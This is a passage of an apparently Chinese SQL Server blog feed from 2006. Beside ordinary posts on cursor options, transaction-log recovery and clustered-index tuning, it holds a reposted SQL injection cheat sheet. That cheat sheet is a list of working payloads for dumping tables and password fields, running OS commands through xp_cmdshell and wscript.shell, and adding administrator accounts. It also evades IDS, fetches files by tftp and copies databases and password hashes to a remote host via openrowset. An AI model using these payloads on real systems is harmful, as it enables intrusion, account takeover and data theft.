SCROLL_LOCKS
指明锁被放置在游标结果集所使用的数据上当。数据被读入游标中时，就会出现锁。这个选项确保对一个游标进行的更<br />新和删除操作总能被成功执行。如果FAST_FORWARD选项被定义，则不能选择该选项。另外，由于数据被游标锁定，所<br />以当考虑到数据并发处理时，应避免使用该选项。 
OPTIMISTIC
指明在数据被读入游标后，如果游标中某行数据已发生变化，那么对游标数据进行更新或删除可能会导致失败。如果使<br />用了FAST_FORWARD 选项，则不能使用该选项。 
TYPE_WARNING
指明若游标类型被修改成与用户定义的类型不同时，将发送一个警告信息给客户端。
注意：不可以将SQL_92的游标语法规则与MS SQL SERVER的游标扩展用法混合在一起使用。 
    下面我们将总结一下声明游标时应注意的一些问题。
    如果在CURSOR 前使用了SCROLL 或INSENSITIVE 保留字，则不能在CURSOR 和FOR select_statement <br />之间使用任何的保留字。反之同理。
    如果用DECLARE CURSOR 声明游标时，没有选择READ_ONLY、 OPTIMISTIC 或SCROLL_LOCKS 选项时，<br />游标的缺省情况为：
    如果SELECT 语句不支持更新，则游标为READ_ONLY；
    STATIC 和FAST_FORWARD 类型的游标缺省为READ_ONLY；   
    DYNAMIC 和KEYSET 游标缺省为OPTIMISTIC。
    我们仅能在Transact-SQL 语句中引用游标，而不能在数据库API 函数中引用。
    游标被声明以后，可以通过系统过程对其特性进行设置。
    对那些有权限对视图、表或某些列执行SELECT 语句的用户而言，它也具有使用游标的缺省权限。 
 
</pre>
<img src ="http://www.blogjava.net/liaojiyong/aggbug/73071.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2006-09-30 16:30 <a href="http://www.blogjava.net/liaojiyong/archive/2006/09/30/73071.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>利用事务日志来恢复数据库------利用事务日志来恢复Update、Delete误操作引起的数据丢失</title><link>http://www.blogjava.net/liaojiyong/archive/2006/09/30/73065.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Sat, 30 Sep 2006 08:12:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2006/09/30/73065.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/73065.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2006/09/30/73065.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/73065.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/73065.html</trackback:ping><description><![CDATA[可能有不少朋友遇到过这样的问题：<br />update或delete语句忘带了where子句，或where子句精度不够，执行之后造成了严重的后果，<br />这种情况的数据恢复只能利用事务日志的备份来进行，所以如果你的SQL没有进行相应的全库备份<br />或不能备份日志（truncate log on checkpoint选项为1），那么就无法进行数据的恢复了，或者<br />只能恢复到最近一次的备份的数据了。 
<p></p><p>以下简单说明恢复数据方法：<br />1，如果误操作之前存在一个全库备份（或已有多个差异备份或增量备份），首先要做的事就是进<br />进行一次日志备份（如果为了不让日志文件变大而置trunc. log on chkpt.选项为1那你就死翘翘了）<br />backup log dbName to disk='fileName'<br />2，恢复一个全库备份，注意需要使用with norecovery，如果还有其他差异或增量备份，则逐个恢<br />复<br />restore database dbName from disk='fileName' with norecovery<br />3，恢复最后一个日志备份即刚做的日志备份，指定恢复时间点到误操作之前的时刻<br />restore log dbName from disk='fileName'<br />with stopat='date_time'</p><p>以上这些操作都可以在SQL SERVER企业管理器里完成，难度不大。。。</p><p>当然，如果误操作是一些不记日志的操作比如truncate table，select into等操作，那么是无法利<br />用上述方法来恢复数据的... </p><img src ="http://www.blogjava.net/liaojiyong/aggbug/73065.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2006-09-30 16:12 <a href="http://www.blogjava.net/liaojiyong/archive/2006/09/30/73065.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Sql注射总结(转)</title><link>http://www.blogjava.net/liaojiyong/archive/2006/09/30/72945.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Sat, 30 Sep 2006 01:06:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2006/09/30/72945.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/72945.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2006/09/30/72945.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/72945.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/72945.html</trackback:ping><description><![CDATA[sql注射总结（早源于or1=1） <br />最重要的表名：<br />select * from sysobjects<br />sysobjects ncsysobjects<br />sysindexes tsysindexes<br />syscolumns<br />systypes<br />sysusers<br />sysdatabases<br />sysxlogins<br />sysprocesses<br />最重要的一些用户名（默认sql数据库中存在着的）<br />public<br />dbo<br />guest(一般禁止，或者没权限)<br />db_sercurityadmin<br />ab_dlladmin<br />一些默认扩展<br />xp_regaddmultistring <br />xp_regdeletekey <br />xp_regdeletevalue <br />xp_regenumkeys <br />xp_regenumvalues <br />xp_regread <br />xp_regremovemultistring <br />xp_regwrite<br />xp_availablemedia 驱动器相关<br />xp_dirtree 目录<br />xp_enumdsn odbc连接<br />xp_loginconfig 服务器安全模式信息<br />xp_makecab 创建压缩卷<br />xp_ntsec_enumdomains domain信息<br />xp_terminate_process 终端进程，给出一个pid<br />例如：<br />sp_addextendedproc xp_webserver, c:tempxp_foo.dll<br />exec xp_webserver<br />sp_dropextendedproc xp_webserver<br />bcp select * from test..foo queryout c:inetpubwwwrootruncommand.asp -c -slocalhost -usa -pfoobar<br />group by users.id having 1=1-<br />group by users.id, users.username, users.password, users.privs having 1=1-<br />; insert into users values( 666, attacker, foobar, 0xffff )-<br />union select top 1 column_name from information_schema.columns where table_name=logintable-<br />union select top 1 column_name from information_schema.columns where table_name=logintable where column_name not in (login_id)-<br />union select top 1 column_name from information_schema.columns where table_name=logintable where column_name not in (login_id,login_name)-<br />union select top 1 login_name from logintable-<br />union select top 1 password from logintable where login_name=rahul--<br />构造语句：查询是否存在xp_cmdshell<br />union select @@version,1,1,1--<br />and 1=(select @@version)<br />and sa=(select system_user)<br />union select ret,1,1,1 from foo--<br />union select min(username),1,1,1 from users where username &gt; a-<br />union select min(username),1,1,1 from users where username &gt; admin-<br />union select password,1,1,1 from users where username = admin-- <br />and user_name()=dbo<br />and 0&lt;&gt;(select user_name()-<br />; declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null, c：winntsystem32cmd.exe /c net user swap 5245886 /add<br />and 1=(select count(*) from master.dbo.sysobjects where xtype = x and name = xp_cmdshell)<br />;exec master.dbo.sp_addextendedproc xp_cmdshell, xplog70.dll<br />1=(％20select％20count(*)％20from％20master.dbo.sysobjects％20where％20xtype=x％20and％20name=xp_cmdshell)<br />and 1=(select is_srvrolemember(sysadmin)) 判断sa权限是否<br />and 0&lt;&gt;(select top 1 paths from newtable)-- 暴库大法<br />and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名（从1到5都是系统的id，6以上才可以判断）<br />创建一个虚拟目录e盘：<br />declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, null, cscript.exe c：inetpubwwwrootmkwebdir.vbs -w 默认 web 站点 -v e,e：<br />访问属性：（配合写入一个webshell）<br />declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, null, cscript.exe c：inetpubwwwrootchaccess.vbs -a w3svc/1/root/e browse<br />and 0&lt;&gt;(select count(*) from master.dbo.sysdatabases where name&gt;1 and dbid=6) <br />依次提交 dbid = 7,8,9.... 得到更多的数据库名<br />and 0&lt;&gt;(select top 1 name from bbs.dbo.sysobjects where xtype=u) 暴到一个表 假设为 admin<br />and 0&lt;&gt;(select top 1 name from bbs.dbo.sysobjects where xtype=u and name not in (admin)) 来得到其他的表。<br />and 0&lt;&gt;(select count(*) from bbs.dbo.sysobjects where xtype=u and name=admin <br />and uid&gt;(str(id))) 暴到uid的数值假设为18779569 uid=id<br />and 0&lt;&gt;(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id<br />and 0&lt;&gt;(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in <br />(id,...)) 来暴出其他的字段<br />and 0&lt;(select user_id from bbs.dbo.admin where username&gt;1) 可以得到用户名 <br />依次可以得到密码。。。。。假设存在user_id username ,password 等字段<br />show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin<br />show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin<br />(union语句到处风靡啊，access也好用<br />暴库特殊技巧：:％5c= 或者把/和 修改％5提交<br />and 0&lt;&gt;(select count(*) from master.dbo.sysdatabases where name&gt;1 and dbid=6)<br />and 0&lt;&gt;(select top 1 name from bbs.dbo.sysobjects where xtype=u) 得到表名 <br />and 0&lt;&gt;(select top 1 name from bbs.dbo.sysobjects where xtype=u and name not in(address))<br />and 0&lt;&gt;(select count(*) from bbs.dbo.sysobjects where xtype=u and name=admin and uid&gt;(str(id))) 判断id值<br />and 0&lt;&gt;(select top 1 name from bbs.dbo.syscolumns where id=773577794) 所有字段<br />;create table [dbo].[swap] ([swappass][char](255));-- <br />and (select top 1 swappass from swap)=1 <br />;create table newtable(id int identity(1,1),paths varchar(500)) declare @test varchar(20) exec master..xp_regread @rootkey=hkey_local_machine, @key=systemcurrentcontrolsetservicesw3svcparametersvirtual roots, @value_name=/, values=@test output insert into paths(path) values(@test)<br />政策法规＆infoid={57c4165a-4206-4c0d-a8d2-e70666ee4e08};use％20master;declare％20@s％20％20int;exec％20sp_oacreate％20wscript.shell,@s％20out;exec％20sp_oamethod％20@s,run,null,cmd.exe％20/c％20ping％201.1.1.1;-- <br />得到了web路径d:xxxx,接下来： <br />;use ku1;-- <br />;create table cmd (str image);-- <br />传统的存在xp_cmdshell的测试过程：<br />;exec master..xp_cmdshell dir<br />;exec master.dbo.sp_addlogin hax;-- <br />;exec master.dbo.sp_password null,hax,hax;-- <br />;exec master.dbo.sp_addsrvrolemember hax sysadmin;-- <br />;exec master.dbo.xp_cmdshell net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;-- <br />;exec master.dbo.xp_cmdshell net localgroup administrators hax /add;-- <br />exec master..xp_servicecontrol start, schedule <br />exec master..xp_servicecontrol start, server<br />http：//www.xxx.com/list.asp?classid=1; declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null, c：winntsystem32cmd.exe /c net user swap 5258 /add <br />;declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null, c：winntsystem32cmd.exe /c net localgroup administrators swap/add<br />; exec master..xp_cmdshell tftp -i youip get file.exe- <br />declare @a sysname set @a=xp_ cmdshell exec @a dir c: <br />declare @a sysname set @a=xp _cm dshell exec @a dir c:<br />;declare @a;set @a=db_name();backup database @a to disk=你的ip你的共享目录bak.dat <br />如果被限制则可以。<br />select * from openrowset(sqloledb,server;sa;,select ok! exec master.dbo.sp_addlogin hax)<br />传统查询构造：<br />select * from news where id=... and topic=... and .....<br />adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass &lt;&gt;<br />select 123;--<br />;use master;--<br />:a or name like fff％;-- 显示有一个叫ffff的用户哈。<br />and 1&lt;&gt;(select count(email) from [user]);--<br />;update [users] set email=(select top 1 name from sysobjects where xtype=u and status&gt;0) where name=ffff;--<br />说明:<br />上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。<br />通过查看ffff的用户资料可得第一个用表叫ad<br />然后根据表名ad得到这个表的id<br />ffff;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--<br />象下面这样就可以得到第二个表的名字了<br />ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and id&gt;581577110) where name=ffff;--<br />ffff;update [users] set email=(select top 1 count(id) from password) where name=ffff;--<br />ffff;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--<br />ffff;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--<br />exec master..xp_servicecontrol start, schedule <br />exec master..xp_servicecontrol start, server<br />sp_addextendedproc xp_webserver, c:tempxp_foo.dll <br />扩展存储就可以通过一般的方法调用： <br />exec xp_webserver <br />一旦这个扩展存储执行过，可以这样删除它: <br />sp_dropextendedproc xp_webserver <br />insert into users values( 666, char(0x63) char(0x68) char(0x72) char(0x69) char(0x73), char(0x63) char(0x68) char(0x72) char(0x69) char(0x73), 0xffff)-<br />insert into users values( 667,123,123,0xffff)-<br />insert into users values ( 123, admin--, password, 0xffff)-<br />;and user&gt;0<br />;;and (select count(*) from sysobjects)&gt;0<br />;;and (select count(*) from mysysobjects)&gt;0 //为access数据库<br />-----------------------------------------------------------通常注射的一些介绍：<br />a) id=49 这类注入的参数是数字型，sql语句原貌大致如下：<br />select * from 表名 where 字段=49<br />注入的参数为id=49 and [查询条件]，即是生成语句：<br />select * from 表名 where 字段=49 and [查询条件]<br />(b) class=连续剧 这类注入的参数是字符型，sql语句原貌大致概如下：<br />select * from 表名 where 字段=连续剧 <br />注入的参数为class=连续剧 and [查询条件] and = ，即是生成语句：<br />select * from 表名 where 字段=连续剧 and [查询条件] and =<br />(c) 搜索时没过滤参数的，如keyword=关键字，sql语句原貌大致如下：<br />select * from 表名 where 字段like ％关键字％ <br />注入的参数为keyword= and [查询条件] and ％25=， 即是生成语句：<br />select * from 表名 where字段like ％ and [查询条件] and ％=％<br />;;and (select top 1 name from sysobjects where xtype=u and status&gt;0)&gt;0<br />sysobjects是sqlserver的系统表，存储着所有的表名、视图、约束及其它对象，xtype=u and status&gt;0，表示用户建立的表名，上面的语句将第一个表名取出，与0比较大小，让报错信息把表名暴露出来。<br />;;and (select top 1 col_name(object_id(表名),1) from sysobjects)&gt;0<br />从⑤拿到表名后，用object_id(表名)获取表名对应的内部id，col_name(表名id,1)代表该表的第1个字段名，将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。<br />post.htm内容：主要是方便输入。<br />〈iframe name=p src=# width=800 height=350 frameborder=0&gt;<br /><form action="http://test.com/count.asp" target="p"><br />〈input name=id value=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status&gt;0);-- style=width:750&gt;<br />〈input type=submit value=&gt;&gt;&gt;&gt;<br />〈input type=hidden name=fno value=2, 3&gt;<br /></form><br />枚举出他的数据表名：<br />id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status&gt;0);--<br />这是将第一个表名更新到aaa的字段处。<br />读出第一个表，第二个表可以这样读出来（在条件后加上 and name&lt;&gt;刚才得到的表名）。<br />id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status&gt;0 and name&lt;&gt;vote);--<br />然后id=1552 and exists(select * from aaa where aaa&gt;5)<br />读出第二个表，^^^^^^一个个的读出，直到没有为止。<br />读字段是这样：<br />id=1552;update aaa set aaa=(select top 1 col_name(object_id(表名),1));--<br />然后id=1552 and exists(select * from aaa where aaa&gt;5)出错，得到字段名<br />id=1552;update aaa set aaa=(select top 1 col_name(object_id(表名),2));--<br />然后id=1552 and exists(select * from aaa where aaa&gt;5)出错，得到字段名<br />--------------------------------高级技巧：<br />[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名]<br />update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status&gt;0 [ and name&lt;&gt;你得到的表名 查出一个加一个]) [ where 条件]<br />select top 1 name from sysobjects where xtype=u and status&gt;0 and name not in(table1,table2,...)<br />通过sqlserver注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是sysadmin组]<br />[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名]<br />update 表名 set 字段=(select top 1 col_name(object_id(要查询的数据表名),字段列如:1) [ where 条件]<br />绕过ids的检测[使用变量]<br />declare @a sysname set @a=xp_ cmdshell exec @a dir c:<br />declare @a sysname set @a=xp _cm dshell exec @a dir c:<br />1、 开启远程数据库<br />基本语法<br />select * from openrowset(sqloledb, server=servername;uid=sa;pwd=apachy_123, select * from table1 ) <br />参数: (1) oledb provider name<br />2、 其中连接字符串参数可以是任何和端口用来连接,比如<br />select * from openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table<br />要复制目标主机的整个数据库，首先要在目标主机上和自己机器上的数据库建立连接(如何在目标主机上建立远程连接，刚才已经讲了),之后insert所有远程表到本地表。<br />基本语法：<br />insert into openrowset(sqloledb, server=servername;uid=sa;pwd=apachy_123, select * from table1) select * from table2 <br />这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的ip地址和端口，指向需要的地方，比如：<br />insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table1) select * from table2<br />insert into openrowset(sqloledb, uid=sa;pwd=hack3r;network=dbmssocn;address=202.100.100.1,1433;, select * from _sysdatabases) <br />select * from master.dbo.sysdatabases <br />insert into openrowset(sqloledb, uid=sa;pwd=hack3r;network=dbmssocn;address=202.100.100.1,1433;, select * from _sysobjects) <br />select * from user_database.dbo.sysobjects <br />insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from _syscolumns) <br />select * from user_database.dbo.syscolumns<br />之后，便可以从本地数据库中看到目标主机的库结构，这已经易如反掌，不多讲，复制数据库：<br />insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table1) select * from database..table1 <br />insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table2) select * from database..table2<br />...... <br />3、 复4、 制哈西表（hash）<br />这实际上是上述复5、 制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下：<br />insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from _sysxlogins) select * from database.dbo.sysxlogins<br />得到hash之后，6、 就可以进行暴力破解。这需要一点运气和大量时间。<br />遍历目录的方法：<br />先创建一个临时表：temp<br />5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--<br />5;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器<br />5;insert into temp(id) exec master.dbo.xp_subdirs c:;-- 获得子目录列表<br />5;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- 获得所有子目录的目录树结构,并寸入temp表中<br />5;insert into temp(id) exec master.dbo.xp_cmdshell type c:webindex.asp;-- 查看某个文件的内容<br />5;insert into temp(id) exec master.dbo.xp_cmdshell dir c:;--<br />5;insert into temp(id) exec master.dbo.xp_cmdshell dir c: *.asp /s/a;--<br />5;insert into temp(id) exec master.dbo.xp_cmdshell cscript c:inetpubadminscriptsadsutil.vbs enum w3svc<br />5;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- （xp_dirtree适用权限public）<br />写入表：<br />语句1：　and　1=(select is_srvrolemember(sysadmin));-- <br />语句2：　and　1=(select is_srvrolemember(serveradmin));-- <br />语句3：　and　1=(select is_srvrolemember(setupadmin));-- <br />语句4：　and　1=(select is_srvrolemember(securityadmin));-- <br />语句5：　and　1=(select is_srvrolemember(securityadmin));-- <br />语句6：　and　1=(select is_srvrolemember(diskadmin));-- <br />语句7：　and　1=(select is_srvrolemember(bulkadmin));-- <br />语句8：　and　1=(select is_srvrolemember(bulkadmin));-- <br />语句9：　and　1=(select is_member(db_owner));-- <br />把路径写到表中去：<br />;create　table　dirs(paths varchar(100), id int)- <br />;insert 　dirs　exec　master.dbo.xp_dirtree c:- <br />　and　0&lt;&gt;(select　top　1　paths　from　dirs)- <br />　and　0&lt;&gt;(select　top　1　paths　from　dirs　where　paths　not　in(@inetpub))- <br />语句：;create　table　dirs1(paths　varchar(100),　id　int)-- <br />语句：;insert　dirs　exec　master.dbo.xp_dirtree e:web-- <br />语句：　and　0&lt;&gt;(select　top　1　paths　from　dirs1)- <br />把数据库备份到网页目录：下载<br />;declare　@a　sysname;　set　@a=db_name();backup　database　@a　to　disk=e:webdown.bak;-- <br />and％201=(select％20top％201％20name％20from(select％20top％2012％20id,name％20from％20sysobjects％20where％20xtype=char(85))％20t％20order％20by％20id％20desc)<br />and％201=(select％20top％201％20col_name(object_id(user_login),1)％20from％20sysobjects) 参看相关表。<br />and 1=(select％20user_id％20from％20user_login)<br />and％200=(select％20user％20from％20user_login％20where％20user&gt;1)<img src ="http://www.blogjava.net/liaojiyong/aggbug/72945.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2006-09-30 09:06 <a href="http://www.blogjava.net/liaojiyong/archive/2006/09/30/72945.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>簇索引与非簇索引在查询中的应用与分析(轉)</title><link>http://www.blogjava.net/liaojiyong/archive/2006/09/28/72497.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Thu, 28 Sep 2006 02:43:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2006/09/28/72497.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/72497.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2006/09/28/72497.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/72497.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/72497.html</trackback:ping><description><![CDATA[一、深入浅出理解索引结构 
<p>　　实际上，您可以把索引理解为一种特殊的目录。微软的SQL SERVER提供了两种索引：聚集索引（clustered index，</p><p>也称聚类索引、簇集索引）和非聚集索引（nonclustered index，也称非聚类索引、非簇集索引）。下面，我们举例来</p><p>说明一下聚集索引和非聚集索引的区别：</p><p>　　其实，我们的汉语字典的正文本身就是一个聚集索引。比如，我们要查“安”字，就会很自然地翻开字典的前几页</p><p>，因为“安”的拼音是“an”，而按照拼音排序汉字的字典是以英文字母“a”开头并以“z”结尾的，那么“安”字就</p><p>自然地排在字典的前部。如果您翻完了所有以“a”开头的部分仍然找不到这个字，那么就说明您的字典中没有这个字；</p><p>同样的，如果查“张”字，那您也会将您的字典翻到最后部分，因为“张”的拼音是“zhang”。也就是说，字典的正文</p><p>部分本身就是一个目录，您不需要再去查其他目录来找到您需要找的内容。我们把这种正文内容本身就是一种按照一定</p><p>规则排列的目录称为“聚集索引”。</p><p>　　如果您认识某个字，您可以快速地从自动中查到这个字。但您也可能会遇到您不认识的字，不知道它的发音，这时</p><p>候，您就不能按照刚才的方法找到您要查的字，而需要去根据“偏旁部首”查到您要找的字，然后根据这个字后的页码</p><p>直接翻到某页来找到您要找的字。但您结合“部首目录”和“检字表”而查到的字的排序并不是真正的正文的排序方法</p><p>，比如您查“张”字，我们可以看到在查部首之后的检字表中“张”的页码是672页，检字表中“张”的上面是“驰”字</p><p>，但页码却是63页，“张”的下面是“弩”字，页面是390页。很显然，这些字并不是真正的分别位于“张”字的上下方</p><p>，现在您看到的连续的“驰、张、弩”三字实际上就是他们在非聚集索引中的排序，是字典正文中的字在非聚集索引中</p><p>的映射。我们可以通过这种方式来找到您所需要的字，但它需要两个过程，先找到目录中的结果，然后再翻到您所需要</p><p>的页码。我们把这种目录纯粹是目录，正文纯粹是正文的排序方式称为“非聚集索引”。</p><p>　　通过以上例子，我们可以理解到什么是“聚集索引”和“非聚集索引”。进一步引申一下，我们可以很容易的理解</p><p>：每个表只能有一个聚集索引，因为目录只能按照一种方法进行排序。</p><p>　　二、何时使用聚集索引或非聚集索引</p><p>　　下面的表总结了何时使用聚集索引或非聚集索引（很重要）： </p><p>动作描述 使用聚集索引 使用非聚集索引 <br />列经常被分组排序 应 应 <br />返回某范围内的数据 应 不应 <br />一个或极少不同值 不应 不应 <br />小数目的不同值 应 不应 <br />大数目的不同值 不应 应 <br />频繁更新的列 不应 应 <br />外键列 应 应 <br />主键列 应 应 <br />频繁修改索引列 不应 应 </p><p>　　事实上，我们可以通过前面聚集索引和非聚集索引的定义的例子来理解上表。如：返回某范围内的数据一项。比如</p><p>您的某个表有一个时间列，恰好您把聚合索引建立在了该列，这时您查询2004年1月1日至2004年10月1日之间的全部数据</p><p>时，这个速度就将是很快的，因为您的这本字典正文是按日期进行排序的，聚类索引只需要找到要检索的所有数据中的</p><p>开头和结尾数据即可；而不像非聚集索引，必须先查到目录中查到每一项数据对应的页码，然后再根据页码查到具体内</p><p>容。</p><p>　　三、结合实际，谈索引使用的误区</p><p>　　理论的目的是应用。虽然我们刚才列出了何时应使用聚集索引或非聚集索引，但在实践中以上规则却很容易被忽视</p><p>或不能根据实际情况进行综合分析。下面我们将根据在实践中遇到的实际问题来谈一下索引使用的误区，以便于大家掌</p><p>握索引建立的方法。</p><p>　　1、主键就是聚集索引</p><p>　　这种想法笔者认为是极端错误的，是对聚集索引的一种浪费。虽然SQL SERVER默认是在主键上建立聚集索引的。</p><p>　　通常，我们会在每个表中都建立一个ID列，以区分每条数据，并且这个ID列是自动增大的，步长一般为1。我们的这</p><p>个办公自动化的实例中的列Gid就是如此。此时，如果我们将这个列设为主键，SQL SERVER会将此列默认为聚集索引。这</p><p>样做有好处，就是可以让您的数据在数据库中按照ID进行物理排序，但笔者认为这样做意义不大。</p><p>　　显而易见，聚集索引的优势是很明显的，而每个表中只能有一个聚集索引的规则，这使得聚集索引变得更加珍贵。</p><p>　　从我们前面谈到的聚集索引的定义我们可以看出，使用聚集索引的最大好处就是能够根据查询要求，迅速缩小查询</p><p>范围，避免全表扫描。在实际应用中，因为ID号是自动生成的，我们并不知道每条记录的ID号，所以我们很难在实践中</p><p>用ID号来进行查询。这就使让ID号这个主键作为聚集索引成为一种资源浪费。其次，让每个ID号都不同的字段作为聚集</p><p>索引也不符合“大数目的不同值情况下不应建立聚合索引”规则；当然，这种情况只是针对用户经常修改记录内容，特</p><p>别是索引项的时候会负作用，但对于查询速度并没有影响。</p><p>　　在办公自动化系统中，无论是系统首页显示的需要用户签收的文件、会议还是用户进行文件查询等任何情况下进行</p><p>数据查询都离不开字段的是“日期”还有用户本身的“用户名”。</p><p>　　通常，办公自动化的首页会显示每个用户尚未签收的文件或会议。虽然我们的where语句可以仅仅限制当前用户尚未</p><p>签收的情况，但如果您的系统已建立了很长时间，并且数据量很大，那么，每次每个用户打开首页的时候都进行一次全</p><p>表扫描，这样做意义是不大的，绝大多数的用户1个月前的文件都已经浏览过了，这样做只能徒增数据库的开销而已。事</p><p>实上，我们完全可以让用户打开系统首页时，数据库仅仅查询这个用户近3个月来未阅览的文件，通过“日期”这个字段</p><p>来限制表扫描，提高查询速度。如果您的办公自动化系统已经建立的2年，那么您的首页显示速度理论上将是原来速度8</p><p>倍，甚至更快。</p><p>　　在这里之所以提到“理论上”三字，是因为如果您的聚集索引还是盲目地建在ID这个主键上时，您的查询速度是没</p><p>有这么高的，即使您在“日期”这个字段上建立的索引（非聚合索引）。下面我们就来看一下在1000万条数据量的情况</p><p>下各种查询的速度表现（3个月内的数据为25万条）：</p><p>　　（1）仅在主键上建立聚集索引，并且不划分时间段：</p><p>Select gid,fariqi,neibuyonghu,title from tgongwen　　用时：128470毫秒（即：128秒）<br />　<br />　　（2）在主键上建立聚集索引，在fariq上建立非聚集索引：</p><p>select gid,fariqi,neibuyonghu,title from Tgongwen <br />where fariqi&gt; dateadd(day,-90,getdate())　　用时：53763毫秒（54秒）</p><p>　　（3）将聚合索引建立在日期列（fariqi）上：</p><p>select gid,fariqi,neibuyonghu,title from Tgongwen <br />where fariqi&gt; dateadd(day,-90,getdate())　　用时：2423毫秒（2秒）</p><p>　　虽然每条语句提取出来的都是25万条数据，各种情况的差异却是巨大的，特别是将聚集索引建立在日期列时的差异</p><p>。事实上，如果您的数据库真的有1000万容量的话，把主键建立在ID列上，就像以上的第1、2种情况，在网页上的表现</p><p>就是超时，根本就无法显示。这也是我摒弃ID列作为聚集索引的一个最重要的因素。得出以上速度的方法是：在各个</p><p>select语句前加：</p><p>declare @d datetime <br />set @d=getdate()　　并在select语句后加：</p><p>select [语句执行花费时间(毫秒)]=datediff(ms,@d,getdate())　　2、只要建立索引就能显著提高查询速度</p><p>　　事实上，我们可以发现上面的例子中，第2、3条语句完全相同，且建立索引的字段也相同；不同的仅是前者在</p><p>fariqi字段上建立的是非聚合索引，后者在此字段上建立的是聚合索引，但查询速度却有着天壤之别。所以，并非是在</p><p>任何字段上简单地建立索引就能提高查询速度。</p><p>　　从建表的语句中，我们可以看到这个有着1000万数据的表中fariqi字段有5003个不同记录。在此字段上建立聚合索</p><p>引是再合适不过了。在现实中，我们每天都会发几个文件，这几个文件的发文日期就相同，这完全符合建立聚集索引要</p><p>求的：“既不能绝大多数都相同，又不能只有极少数相同”的规则。由此看来，我们建立“适当”的聚合索引对于我们</p><p>提高查询速度是非常重要的。</p><p>　　3、把所有需要提高查询速度的字段都加进聚集索引，以提高查询速度</p><p>　　上面已经谈到：在进行数据查询时都离不开字段的是“日期”还有用户本身的“用户名”。既然这两个字段都是如</p><p>此的重要，我们可以把他们合并起来，建立一个复合索引（compound index）。</p><p>　　